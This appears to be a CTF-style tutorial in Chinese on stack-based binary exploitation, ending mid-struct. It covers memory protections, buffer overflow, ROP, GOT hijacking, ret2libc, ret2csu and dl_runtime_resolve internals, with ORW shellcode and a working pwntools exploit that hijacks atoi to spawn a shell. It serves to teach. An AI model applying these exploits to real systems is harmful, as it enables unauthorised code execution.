Try   HackMD

Pwn-Stack based attack

Author:堇姬

我用的debug環境

  • Pwndbg+pwngdb
  • r2
  • IDA or Ghidra
  • local debug
tmux

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(r)

What is Pwn?

二進制程式檔滲透,
其實就是找尋程式中的漏洞,或是取得伺服器權限,使用伺服器 shell 偷取檔案、修改資料等等。

  • 看原始碼、組合語言找漏洞
  • 透過input、output來get shell等

pwn target

很多東西都可以打
VM、IoT、linux、windows

memory

  +----------------------+ <-- High Memory Address
  |       Stack          |  
  +----------------------+
            |
            v (grows down)
            ^
            | (grows up)
  +----------------------+
  |       Heap           |  
  +----------------------+
  |        BSS           |  
  +----------------------+
  |        Data          |  
  +----------------------+
  |        Text          |  
  +----------------------+  <-- Low Memory Address

Text

  • 程式碼
  • r-x(不可寫)

Data

  • 已給值全域變數

BSS

  • 未給值全域變數

Heap

  • 動態記憶體空間
  • malloc()、free()
  • 低位往高位

stack

  • 暫存空間
    1 區域變數
    2 return address
    3 參數
    4 return value
  • 高位往低位
  • rsp:stack pointer,指向stack頂端
  • rbp:base pointer,指向stack底部

image

保護機制

checksec ./檔案
  • RELRO
  • Stack canary
  • NX
  • PIE
  • ASLR

RELRO(ReLocation Read-Only)

分為 Partial RELRO 與 Full RELRO

No RELRO -> Link Map、GOT 可寫
Partial RELRO -> Link Map 不可寫、GOT 可寫
Full RELRO -> Link Map、GOT 皆不可寫

-z norelro / -z lazy / -z now

stack canary

在retuen address前面加一層8 bytes的隨機值,return 前檢查是否相同,不同就會crash

特徵是程式disassemble底下會有像是stack_chk之類的function

gcc test.c -o test -fno-stack-protector  #不開啟
gcc test.c -o test -fstack-protector     #只保護部分函數
gcc test.c -o test -fstack-protector-all #所有函數都加入canary
[Stack]
|   stack Variables   |
|     Canary Value    | <-- canary value
|      old rbp        |
|   Return Address    |
-----------------------

NX

寫入及執行權限不同時存在,所以不太能寫shellcode

execstack // 禁用NX
noexecstack // 開NX

PIE

.text、.data、.bss地址隨機

-no-pie #關閉PIE

ASLR

library、heap、stack 隨機化

seccomp

可以禁用掉一下syscall,如execve、system這些危險函數

可以用這東西看禁用了哪些
https://github.com/david942j/seccomp-tools
image

register

image

oob

一個陣列,若對於輸入的索引沒有限制,就可以讀到陣列外stack上的資料

arr[i] (int) = *(arr + i *sizeof(int)) 

int overflow

類型 byte 範圍
short int 2byte(word) 0 ~ 32767(0 ~ 0x7fff) 及 -32768 ~ -1(0x8000~0xffff)
unsigned short int 2byte(word) 0 ~ 65535(0 ~ 0xffff)
int 4byte(dword) 0 ~ 2147483647(0 ~ 0x7fffffff) 及 -2147483648 ~ -1 (0x80000000 ~ 0xffffffff)
unsigned int 4byte(dword) 0 ~ 4294967295(0 ~ 0xffffffff)
long int 8byte(qword) 0 ~ 0x7fffffffffffffff 及 0x8000000000000000 ~ 0xffffffffffffffff(負)
unsigned long int 8byte(qword) 0 ~ 0xffffffffffffffff

partial overwrite

printf會印到直到碰到\x00,所以如果可以把canary、或stack 上libc的\x00蓋掉,就可以leak canary或各種值

stack(堆疊)

image

old rbp

  • 產生原因:一開始做了push rbp,所以rbp被丟到了stack上,通常為了stack平衡所以最後會leave,來pop rbp
  • 如果一開始沒有push rbp,通常也就不會有leave

stack return address

  • call function前會先將return address存到stack
  • 這樣function結束後就可以從stack拿出return address

buffer ovweflow

輸入如果沒有上限,就可以一直寫到return address來控制程式流程

gets、strcpy、strncpy、scanf、read(長度沒寫好)...
#include <stdio.h> int main(){ char buffer[8]; gets(buffer); return 0; }

image

return2code

透過BOF把return address 改到code任意處

#include <stdio.h> int shell(){ system("/bin/sh"); } int main(){ char buffer[8]; gets(buffer); return 0; }

這邊要注意一件事,跳過去時要注意該位址存不存在push rbp之類的,如果有要往後跳一點

ret2shellcode

  • 須關閉NX
  • return到自己寫的shellcode
  • 不要蓋掉重要的程式
  • 看有rwx,-wx(gdb)

Shellcode:
https://shell-storm.org/shellcode/index.html
https://www.exploit-db.com/exploits

可以自己寫shellcode

orw

sc = asm('\n\n'.join([ 'push %d' % u32('ag\0\0'), 'push %d' % u32('w/fl'), 'push %d' % u32('e/or'), 'push %d' % u32('/hom'), 'xor edx, edx', 'xor ecx, ecx', 'mov ebx, esp', 'mov eax, 5', 'int 0x80', 'mov edx, 128', 'mov ecx, esp', 'mov ebx, eax', 'mov eax, 3', 'int 0x80', 'mov edx, eax', 'mov ecx, esp', 'mov ebx, 0', 'mov eax, 4', 'int 0x80' ]))

mprotect

可以改一塊記憶體權限,並在上面做更多操作
sys_mprotect

mprotect(const void *start, size_t len, int prot);
register value
rax 10
rdi 開始的address
rsi 長度
rdx rwx

ROP

gadget

  • 結尾是ret 或是 jump <addr>的gadget
    • 可以控制register
    • 可對任意address寫入資料
    • syscall
  • ROPgadget尋找適合的gadget
ROPgadget --binary ./<your binary>

ROP chain

我們可以找可以控制register的gadget,串成一條鏈,設定好register後call syscall

stack -> call execve

pop rax
0x3b
pop rdi
command_addr_in_stack
pop rsi
0
pop rdx;
0
syscall

https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md

題目

https://hackmd.io/@naup96321/SkGljHPZC

stack migration

https://hackmd.io/@naup96321/B1FUxutQC

Fixed Size Migration

https://hackmd.io/@naup96321/Hyown32m0

libc 相關

libc是啥

如果把所有函數都包進去程式,那整個檔案就會很肥,所以把函式備份在每個人的電腦裡,再透過一些機制去把它拿出來

static

把所有函式包進去ELF

demo

#include <stdio.h>

int main()
{
    puts("Hello World");

    return 0;
}
gcc static.c -o static --static

static沒有libc段
image

並且可以發現他把函式實現方式都直接包進去了
image

dynamic

libc函數在dynamic link時候都是透過GOT表來進行跳轉找到函式的

GOT(global offset table)

GOT存著很多個一樣大小的元素,形成一個table(基本上就是array)。每個元素都是一個指標(32bit->4 byte,64bit -> 8 byte),指向程式所需要的變數或者是函數

位置 內容
.got 全域變數的位置
.got.plt 儲存的則是其他library中函式的位置

PLT(procedure linkage table)

PLT存著很多個一樣大小的元素,形成一個table

第一個元素是公共plt,負責呼叫動態鏈接器。從第二個開始每個元素分別對應到一個動態鏈接的函數

  • 當程式碼中 Call Printf(),在對應的組語會看見 看到call printf@plt。
  • printf@GOT會回去向.got.plt取值
  • 由於是第一次使用函數,在GOT 表中並不會找到該函數地址,因此必須透過 PLT 將 GOT 重定位
  • 將找到的函數位置所需的參數 推入 stack中
  • 透過執行dl_runtime_resolve 找出函式位址
  • 系統就會把 function 的位址寫進 .got.plt 當中

image

image

GOT hijack

如果我可以改寫GOT,那我就可以跳到我指定的位置
例如,我把puts GOT內容改成system plt,那他就會抓到system address,那只要call puts就會呼叫到system

image

demo

source code

#include <stdio.h> // gcc gothijack.c -o gothijack -z lazy unsigned long long array[0x100]; void init() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); } void menu() { printf("1: set\n"); printf("2: get\n"); } int main() { char buf[0x100] = { 0 }; int choice; int idx; unsigned long long value; init(); while (1) { menu(); scanf("%256s", buf); choice = atoi(buf); printf("idx:\n"); scanf("%d", &idx); if (choice == 1) { printf("value:\n"); scanf("%llu", &value); array[idx] = value; } else if (choice == 2) { printf("%#llx\n", array[idx]); } } exit(1); }

分析

分析一下發現idx並沒有限制,所以可以透過輸入非預期的範圍來oob寫到其他位置,這邊先看一下array位置
0x555555558080
image

然後看GOT的位置
image
image

0x4030(atoi@GLIBC_2.2.5)+0x555555554000=0x555555558030

輸入-10就可以對該位置任意讀寫了
image

再來是要把他atoi改寫成libc system然後跳到上面去

script

from pwn import * from NAUP_pwn_lib import * context.arch='amd64' REMOTE_LOCAL=input("local?(y/n):") if REMOTE_LOCAL=="y": debug_init() r=process('./gothijack') else: REMOTE_INFO=split_nc("nc naup.com 2000") REMOTE_IP=REMOTE_INFO[0] REMOTE_PORT=int(REMOTE_INFO[1]) r=remote(REMOTE_IP,REMOTE_PORT) #gdb.attach(r) r.sendlineafter(b'2: get\n',b'2') r.sendlineafter(b'idx:\n',b'-10') leaklibc=int(r.recvline().strip().decode(),16) offset=0x43640 libc_base=leaklibc-offset NAUPINFO('LEAK_LIBC',hex(leaklibc)) NAUPINFO('LIBC_BASE',hex(libc_base)) system_offset=0x50d70 libc_system=system_offset+libc_base r.sendlineafter(b'2: get\n',b'1') r.sendlineafter(b'idx:\n',b'-10') r.sendlineafter(b'value:\n',str(libc_system).encode()) r.sendline(b'/bin/sh') r.interactive()

ret2libc

  • 若能得知 libc base,則可以計算出 libc 中 function 的位置,便能調⽤ library 中的函式。
  • 關鍵為 bypass ASLR,找出 libc 的隨機 base
    • 透過 information leak 漏洞,洩漏 memory 上的內容,獲取屬於 libcsegment 的 address
    • 此 address 會是隨機的 base address 加上⼀固定位移植 ofset (不同版本的 libc ofset 不同)

看libc

readelf -a <your libc> | less
  • libc base只能在執行中leak出來
    1.尋找執行中用到的libc位置
    2.stack殘渣

算libc base

puts_got_value = libc_base + puts_libc
libc_base = puts_got_value - puts_libc

可以確認最後1.5 byte是否為000,來確認算出的base正不正確

demo

https://hackmd.io/@naup96321/rynMnRBmR

ret2csu

https://xz.aliyun.com/t/13313?time__1311=GqmxuD2DgQi%3DD%3DD%2FD0erGktKq0KlPgr4rD

.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0                 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16o
.text:00000000004005C0                 push    r15
.text:00000000004005C2                 push    r14
.text:00000000004005C4                 mov     r15d, edi
.text:00000000004005C7                 push    r13
.text:00000000004005C9                 push    r12
.text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004005D2                 push    rbp
.text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA                 push    rbx
.text:00000000004005DB                 mov     r14, rsi
.text:00000000004005DE                 mov     r13, rdx
.text:00000000004005E1                 sub     rbp, r12
.text:00000000004005E4                 sub     rsp, 8
.text:00000000004005E8                 sar     rbp, 3
.text:00000000004005EC                 call    _init_proc
.text:00000000004005F1                 test    rbp, rbp
.text:00000000004005F4                 jz      short loc_400616
.text:00000000004005F6                 xor     ebx, ebx
.text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 __libc_csu_init endp

首先我們先看這段,可以控 rbx, rbp, r12, r13, r14, r15

.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn

這段可以控
r14 -> rdx
r13 -> rsi
r12 -> edi

最後call r15+rbx*8 跳到其他位置

.text:0000000000401250 4C 89 F2                      mov     rdx, r14
.text:0000000000401253 4C 89 EE                      mov     rsi, r13
.text:0000000000401256 44 89 E7                      mov     edi, r12d
.text:0000000000401259 41 FF 14 DF                   call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:0000000000401259
.text:000000000040125D 48 83 C3 01                   add     rbx, 1
.text:0000000000401261 48 39 DD                      cmp     rbp, rbx
.text:0000000000401264 75 EA                         jnz     short loc_401250

srop

直接參考我這篇
https://hackmd.io/@naup96321/BJh1D4BHA

ret2 dl_runtime_resolve

有時候在沒有適合gadget的時候,可以利用lazy binding時,dl_runtime_resolve解析函數時,通過修改的解析字串符,來達到解析任意函數

複習一下GOT

GOT內有很多段

  • .dynamic
  • .got -> 紀錄用到的全域變數
  • .got.plt -> 紀錄函式引用位置
  • .data

got.plt又有三塊

Name Description
address of .dynamic 指向 GOT 的 .dynamic
link_map 一個link list,用來紀錄用到的 Library
dl_resolve 找出函式的絕對位置
------------      -----------------
| .dynamic | <--  | addr .dynamic |
|   .got   |      |    link map   |
| .got.plt | ---  |   dl_resolve  | 
|  .data   |      |    printf     |
------------      |     gets      |
                  |    ...        |

追gdb

一樣開追gdb進去看他lazy binding做了啥

env

跑這支binary

#include <stdio.h>
// gcc demo.c -o demo -z lazy

int main(){
	char buffer[8];
	gets(buffer);
	return 0;
}

首先他先call gets@plt

0x00000000004005b9 <+35>:	call   0x400480 <gets@plt>
pwndbg> disassemble 0x400480
Dump of assembler code for function gets@plt:
   0x0000000000400480 <+0>:	jmp    QWORD PTR [rip+0x200ba2]        # 0x601028 <gets@got.plt>
   0x0000000000400486 <+6>:	push   0x2
   0x000000000040048b <+11>:	jmp    0x400450

大概可以分成幾個部分

跳到gets@got.plt
push 0x2 (offset)
跳到dl resolve

image

這邊先跳到gets@got.plt
裡面存的是0x400486

pwndbg> x/10xg 0x601028
0x601028 <gets@got.plt>:	0x0000000000400486	0x0000000000000000

會跳回來gets@plt+0x6
並推入0x2這個offset (reloc_arg)
之後跳進去dl_runtime_resolve

pwndbg> x/10i 0x400450
   0x400450:	push   QWORD PTR [rip+0x200bb2]        # 0x601008 <_GLOBAL_OFFSET_TABLE_+8>
   0x400456:	jmp    QWORD PTR [rip+0x200bb4]        # 0x601010 <_dl_runtime_resolve_xsavec>

0x601000 -> .dynamic section (_GLOBAL_OFFSET_TABLE)
0x601008 -> linkmap (_GLOBAL_OFFSET_TABLE+8)
0x601010 -> _dl_runtime_resolve (_GLOBAL_OFFSET_TABLE + 0x10)

pwndbg> x/10xg 0x601008
0x601008:	0x00007cdd0d4fb168	0x00007cdd0d2ebf10

push了linkmap到stack
並跳到 _dl_runtime_resolve_xsave 他用來把 function 真正的 address 填入 GOT
具體實作如下

=> 0x7cdd0d2ebf10 <_dl_runtime_resolve_xsavec>:	push   rbx
   0x7cdd0d2ebf11 <_dl_runtime_resolve_xsavec+1>:	mov    rbx,rsp
   0x7cdd0d2ebf14 <_dl_runtime_resolve_xsavec+4>:	and    rsp,0xffffffffffffffc0
   0x7cdd0d2ebf18 <_dl_runtime_resolve_xsavec+8>:	sub    rsp,QWORD PTR [rip+0x20de31]        # 0x7cdd0d4f9d50 <_rtld_global_ro+176>p+0x250],rdx
   0x7cdd0d2ebf1f <_dl_runtime_resolve_xsavec+15>:	mov    QWORD PTR [rsp],rax
   0x7cdd0d2ebf23 <_dl_runtime_resolve_xsavec+19>:	mov    QWORD PTR [rsp+0x8],rcx
   0x7cdd0d2ebf28 <_dl_runtime_resolve_xsavec+24>:	mov    QWORD PTR [rsp+0x10],rdx
   0x7cdd0d2ebf2d <_dl_runtime_resolve_xsavec+29>:	mov    QWORD PTR [rsp+0x18],rsi
   0x7cdd0d2ebf32 <_dl_runtime_resolve_xsavec+34>:	mov    QWORD PTR [rsp+0x20],rdi
   0x7cdd0d2ebf37 <_dl_runtime_resolve_xsavec+39>:	mov    QWORD PTR [rsp+0x28],r8
   0x7cdd0d2ebf3c <_dl_runtime_resolve_xsavec+44>:	mov    QWORD PTR [rsp+0x30],r9
   0x7cdd0d2ebf41 <_dl_runtime_resolve_xsavec+49>:	mov    eax,0xee
   0x7cdd0d2ebf46 <_dl_runtime_resolve_xsavec+54>:	xor    edx,edx
   0x7cdd0d2ebf48 <_dl_runtime_resolve_xsavec+56>:	mov    QWORD PTR [rsp+0x250],rdx
   0x7cdd0d2ebf50 <_dl_runtime_resolve_xsavec+64>:	mov    QWORD PTR [rsp+0x258],rdx
   0x7cdd0d2ebf58 <_dl_runtime_resolve_xsavec+72>:	mov    QWORD PTR [rsp+0x260],rdx
   0x7cdd0d2ebf60 <_dl_runtime_resolve_xsavec+80>:	mov    QWORD PTR [rsp+0x268],rdx
   0x7cdd0d2ebf68 <_dl_runtime_resolve_xsavec+88>:	mov    QWORD PTR [rsp+0x270],rdx
   0x7cdd0d2ebf70 <_dl_runtime_resolve_xsavec+96>:	mov    QWORD PTR [rsp+0x278],rdx
   0x7cdd0d2ebf78 <_dl_runtime_resolve_xsavec+104>:	xsavec [rsp+0x40]
   0x7cdd0d2ebf7d <_dl_runtime_resolve_xsavec+109>:	mov    rsi,QWORD PTR [rbx+0x10]
   0x7cdd0d2ebf81 <_dl_runtime_resolve_xsavec+113>:	mov    rdi,QWORD PTR [rbx+0x8]
   0x7cdd0d2ebf85 <_dl_runtime_resolve_xsavec+117>:	call   0x7cdd0d2e3a30 <_dl_fixup>
   0x7cdd0d2ebf8a <_dl_runtime_resolve_xsavec+122>:	mov    r11,rax
   0x7cdd0d2ebf8d <_dl_runtime_resolve_xsavec+125>:	mov    eax,0xee
   0x7cdd0d2ebf92 <_dl_runtime_resolve_xsavec+130>:	xor    edx,edx
   0x7cdd0d2ebf94 <_dl_runtime_resolve_xsavec+132>:	xrstor [rsp+0x40]
   0x7cdd0d2ebf99 <_dl_runtime_resolve_xsavec+137>:	mov    r9,QWORD PTR [rsp+0x30]
   0x7cdd0d2ebf9e <_dl_runtime_resolve_xsavec+142>:	mov    r8,QWORD PTR [rsp+0x28]
   0x7cdd0d2ebfa3 <_dl_runtime_resolve_xsavec+147>:	mov    rdi,QWORD PTR [rsp+0x20]
   0x7cdd0d2ebfa8 <_dl_runtime_resolve_xsavec+152>:	mov    rsi,QWORD PTR [rsp+0x18]
   0x7cdd0d2ebfad <_dl_runtime_resolve_xsavec+157>:	mov    rdx,QWORD PTR [rsp+0x10]
   0x7cdd0d2ebfb2 <_dl_runtime_resolve_xsavec+162>:	mov    rcx,QWORD PTR [rsp+0x8]
   0x7cdd0d2ebfb7 <_dl_runtime_resolve_xsavec+167>:	mov    rax,QWORD PTR [rsp]
   0x7cdd0d2ebfbb <_dl_runtime_resolve_xsavec+171>:	mov    rsp,rbx
   0x7cdd0d2ebfbe <_dl_runtime_resolve_xsavec+174>:	mov    rbx,QWORD PTR [rsp]
   0x7cdd0d2ebfc2 <_dl_runtime_resolve_xsavec+178>:	add    rsp,0x18
   0x7cdd0d2ebfc6 <_dl_runtime_resolve_xsavec+182>:	bnd jmp r11

他將register的值存到stack上

並將rsi設為offset
image

pwndbg> x/10xg 0x7ffc0454e910+0x10
0x7ffc0454e920:	0x0000000000000002

rdi設為linkmap
image

pwndbg> x/10xg 0x7ffc0454e910+0x8
0x7ffc0454e918:	0x00007cdd0d4fb168	0x0000000000000002

並call _dl_fixup
_dl_fixup(l,reloc_arg)
https://elixir.bootlin.com/glibc/glibc-2.31/source/elf/dl-runtime.c#L61
他會尋找函式庫具體的位置並填入到GOT中
詳細解釋在下面

最後call
elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value)
將GOT填入function在libc的位置
這樣就寫入成功了,跑完剩下的xsave就進入到libc gets function內部

pwndbg> x/10xg 0x601028
0x601028 <gets@got.plt>:	0x00007cdd0cf78d90	0x0000000000000000

image

fixup詳細展開

看完上方lazy binding過程,不難理解 _dl_runtime_resolve_xsave 之前跟最後填表,比較複雜的是fixup

先來看看linkmap是啥
https://elixir.bootlin.com/glibc/glibc-2.37/source/include/link.h#L95

關注到 l_info,他指向 ElfW(Dyn) 也就是 .dynamic

這邊回去關注到 .dynamic
https://elixir.bootlin.com/glibc/glibc-2.37/source/elf/elf.h#L849

/* Dynamic section entry.  */

typedef struct
{
  Elf32_Sword	d_tag;			/* Dynamic entry type */
  union
    {
      Elf32_Word d_val;			/* Integer value */
      Elf32_Addr d_ptr;			/* Address value */
    } d_un;
} Elf32_Dyn;

typedef struct
{
  Elf64_Sxword	d_tag;			/* Dynamic entry type */
  union
    {
      Elf64_Xword d_val;		/* Integer value */
      Elf64_Addr d_ptr;			/* Address value */
    } d_un;
} Elf64_Dyn;

還有一堆tag

/* Legal values for d_tag (dynamic entry type).  */

#define DT_NULL		0		/* Marks end of dynamic section */
#define DT_NEEDED	1		/* Name of needed library */
#define DT_PLTRELSZ	2		/* Size in bytes of PLT relocs */
#define DT_PLTGOT	3		/* Processor defined value */
#define DT_HASH		4		/* Address of symbol hash table */
#define DT_STRTAB	5		/* Address of string table */
#define DT_SYMTAB	6		/* Address of symbol table */
#define DT_RELA		7		/* Address of Rela relocs */
#define DT_RELASZ	8		/* Total size of Rela relocs */
#define DT_RELAENT	9		/* Size of one Rela reloc */
#define DT_STRSZ	10		/* Size of string table */
#define DT_SYMENT	11		/* Size of one symbol table entry */
#define DT_INIT		12		/* Address of init function */
#define DT_FINI		13		/* Address of termination function */
#define DT_SONAME	14		/* Name of shared object */
#define DT_RPATH	15		/* Library search path (deprecated) */
#define DT_SYMBOLIC	16		/* Start symbol search here */
#define DT_REL		17		/* Address of Rel relocs */
#define DT_RELSZ	18		/* Total size of Rel relocs */
#define DT_RELENT	19		/* Size of one Rel reloc */
#define DT_PLTREL	20		/* Type of reloc in PLT */
#define DT_DEBUG	21		/* For debugging; unspecified */
#define DT_TEXTREL	22		/* Reloc might modify .text */
#define DT_JMPREL	23		/* Address of PLT relocs */
#define	DT_BIND_NOW	24		/* Process relocations of object */
#define	DT_INIT_ARRAY	25		/* Array with addresses of init fct */
#define	DT_FINI_ARRAY	26		/* Array with addresses of fini fct */
#define	DT_INIT_ARRAYSZ	27		/* Size in bytes of DT_INIT_ARRAY */
#define	DT_FINI_ARRAYSZ	28		/* Size in bytes of DT_FINI_ARRAY */
#define DT_RUNPATH	29		/* Library search path */
#define DT_FLAGS	30		/* Flags for the object being loaded */
#define DT_ENCODING	32		/* Start of encoded range */
#define DT_PREINIT_ARRAY 32		/* Array with addresses of preinit fct*/
#define DT_PREINIT_ARRAYSZ 33		/* size in bytes of DT_PREINIT_ARRAY */
#define DT_SYMTAB_SHNDX	34		/* Address of SYMTAB_SHNDX section */
#define DT_RELRSZ	35		/* Total size of RELR relative relocations */
#define DT_RELR		36		/* Address of RELR relative relocations */
#define DT_RELRENT	37		/* Size of one RELR relative relocaction */
#define	DT_NUM		38		/* Number used */
#define DT_LOOS		0x6000000d	/* Start of OS-specific */
...

有許多常用的pointer或是value

上面的_dl_fixup調用了

pointer 意義
l_info[DT_SYMTAB] symbol table 位址 (.dynsym)
l_info[DT_STRTAB] string table 位址 (.dynstr)
l_info[DT_JMPREL] .rel.plt
l_info[VERSYMIDX (DT_VERSYM)] .gnu.version

等dynamic段的東西

詳細展開這些東西請見
https://sp4n9x.github.io/2020/08/15/ret2_dl_runtime_resolve详解/#2、动态链接相关结构

那回來看看 _dl_fixup
直接看source code

https://elixir.bootlin.com/glibc/glibc-2.31/source/elf/dl-runtime.c#L61

DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
	   ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
	   struct link_map *l, ElfW(Word) reloc_arg)
{
    // 取得 symbol table 位址 (.dynsym)
  const ElfW(Sym) *const symtab
    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
    // 取得 string table 位址 (.dynstr)
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

    // reloc_offset 從 reloc_arg 得來, 
    // 取得 PLTREL, 為 rel 或 rela
    // 詳細請看尾部補充
  const PLTREL *const reloc
    = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    // 取得對應 Sym, 從 .dynsym 和 r_info 推算出來
    // ELFW(R_SYM) 最終展開成 ELF32_R_SYM 或 ELF64_R_SYM
    // ELF32_R_SYM(i) 展開為 ((i) >> 8)
    // ELF64_R_SYM(i) 展開為 ((i) >> 32)
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
  const ElfW(Sym) *refsym = sym;
    // GOT 位址, 解析完成後會將結果放回來
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;

    // ELFW(R_TYPE) 最終展開成 ELF32_R_TYPE 或 ELF64_R_TYPE
    // ELF32_R_TYPE(i) 展開為 ((i) & 0xff)
    // ELF64_R_TYPE(i) 展開為 ((i) & 0xffffffff)
  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

    // st_other 我們設為 0, 步入 if
   /* Look up the target symbol.  If the normal lookup rules are not
      used don't look in the global scope.  */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
    {
      const struct r_found_version *version = NULL;

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
	{
	  const ElfW(Half) *vernum =
	    (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
	  ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
	  version = &l->l_versions[ndx];
	  if (version->hash == 0)
	    version = NULL;
	}

      /* We need to keep the scope around so do some locking.  This is
	 not necessary for objects which cannot be unloaded or when
	 we are not using any threads (yet).  */
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
	{
	  THREAD_GSCOPE_SET_FLAG ();
	  flags |= DL_LOOKUP_GSCOPE_LOCK;
	}

#ifdef RTLD_ENABLE_FOREIGN_CALL
      RTLD_ENABLE_FOREIGN_CALL;
#endif

      // 解析 symbol name
      // strtab + sym->st_name
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
				    version, ELF_RTYPE_CLASS_PLT, flags, NULL);

      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
	THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
      RTLD_FINALIZE_FOREIGN_CALL;
#endif

      /* Currently result contains the base load address (or link map)
	 of the object that defines sym.  Now add in the symbol
	 offset.  */
      value = DL_FIXUP_MAKE_VALUE (result,
				   SYMBOL_ADDRESS (result, sym, false));
    }
  else
    {
      /* We already found the symbol.  The module (and therefore its load
	 address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
      result = l;
    }

  /* And now perhaps the relocation addend.  */
  value = elf_machine_plt_value (l, reloc, value);

  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;

    // 最終將解析結果放回 GOT
  return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

懶人包

  1. 取得函式的.rel.plt位址,存入reloc
    ​​​​const PLTREL *const reloc
    ​​​​    = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    
  2. 取得symbol table ,存入 sym
    ​​​​const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    
  3. strtab + sym->st_name取得函式名稱,跟其他資料一起丟進去_dl_lookup_symbol_x
  4. _dl_lookup_symbol_x 搜尋出哪個函式的東西,跟第一個參數,也就是傳入的函式名稱字串是直接相關的。如果丟進去的是gets,那搜尋出來的就會是gets的東西,最後修復出來的就會是gets的位址。

    dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
    version, ELF_RTYPE_CLASS_PLT, flags, NULL)

  5. 繼續運算,修復出函式位址,寫入函式的GOT中,並回傳

jmprel 是這東西

LOAD:0000000000400670 ; ELF JMPREL Relocation Table
LOAD:0000000000400670                 Elf64_Rela <404018h, 100000007h, 0> ; R_X86_64_JUMP_SLOT _exit
LOAD:0000000000400688                 Elf64_Rela <404020h, 200000007h, 0> ; R_X86_64_JUMP_SLOT __read_chk
LOAD:00000000004006A0                 Elf64_Rela <404028h, 300000007h, 0> ; R_X86_64_JUMP_SLOT puts
LOAD:00000000004006B8                 Elf64_Rela <404030h, 400000007h, 0> ; R_X86_64_JUMP_SLOT __stack_chk_fail
LOAD:00000000004006D0                 Elf64_Rela <404038h, 500000007h, 0> ; R_X86_64_JUMP_SLOT printf
LOAD:00000000004006E8                 Elf64_Rela <404040h, 600000007h, 0> ; R_X86_64_JUMP_SLOT alarm
LOAD:0000000000400700                 Elf64_Rela <404048h, 800000007h, 0> ; R_X86_64_JUMP_SLOT atoll
LOAD:0000000000400718                 Elf64_Rela <404050h, 900000007h, 0> ; R_X86_64_JUMP_SLOT signal
LOAD:0000000000400730                 Elf64_Rela <404058h, 0B00000007h, 0> ; R_X86_64_JUMP_SLOT realloc
LOAD:0000000000400748                 Elf64_Rela <404060h, 0C00000007h, 0> ; R_X86_64_JUMP_SLOT setvbuf
LOAD:0000000000400760                 Elf64_Rela <404068h, 0D00000007h, 0> ; R_X86_64_JUMP_SLOT __isoc99_scanf

存的值是<404038h, 500000007h, 0>
0x404038是printf GOT
0x500000007是info
最後是addend
https://elixir.bootlin.com/glibc/glibc-2.37/source/elf/elf.h#L652

/* Relocation table entry with addend (in section of type SHT_RELA).  */

typedef struct
{
  Elf32_Addr	r_offset;		/* Address */
  Elf32_Word	r_info;			/* Relocation type and symbol index */
  Elf32_Sword	r_addend;		/* Addend */
} Elf32_Rela;

typedef struct
{
  Elf64_Addr	r_offset;		/* Address */
